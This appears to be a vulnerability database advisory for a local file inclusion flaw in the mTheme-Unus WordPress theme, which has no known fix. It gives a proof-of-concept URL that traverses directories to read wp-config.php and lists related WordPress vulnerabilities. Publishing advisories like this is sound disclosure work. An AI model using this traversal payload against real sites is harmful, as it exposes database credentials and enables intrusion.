Themes Vulnerabilities

mTheme-Unus Theme - Local File Inclusion (LFI)

Description

http://www.example.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Affects Themes

mTheme-Unus
No known fix

References

URL
https://packetstormsecurity.com/files/#133778/

Classification

Type
LFI
OWASP top 10
A1: Injection
CWE
CWE-22

Miscellaneous

Submitter
Ryan Dewhurst
Submitter twitter
ethicalhack3r
Verified
No
WPVDB ID
bc036ee3-9648-49db-ae52-3a58fdeb82eb

Timeline

Publicly Published
2015-09-30 (about 10 years ago)
Added
2018-11-13 (about 7 years ago)
Last Updated
2019-11-01 (about 6 years ago)

Other

Published
Title
Published
2024-05-17
Title
Download Plugins and Themes from Dashboard < 1.8.6 - Authenticated (Admin+) Arbitrary File Download
Published
2024-08-12
Title
Bit Form Pro < 2.8.0 - Unauthenticated Arbitrary File Deletion
Published
2015-06-10
Title
History Collection <= 1.1.1 - Arbitraty File Download
Published
2014-08-01
Title
Theme My Login 6.3.9 - Local File Inclusion
Published
2025-02-22
Title
Search with Typesense < 2.0.9 - Authenticated (Admin+) Path Traversal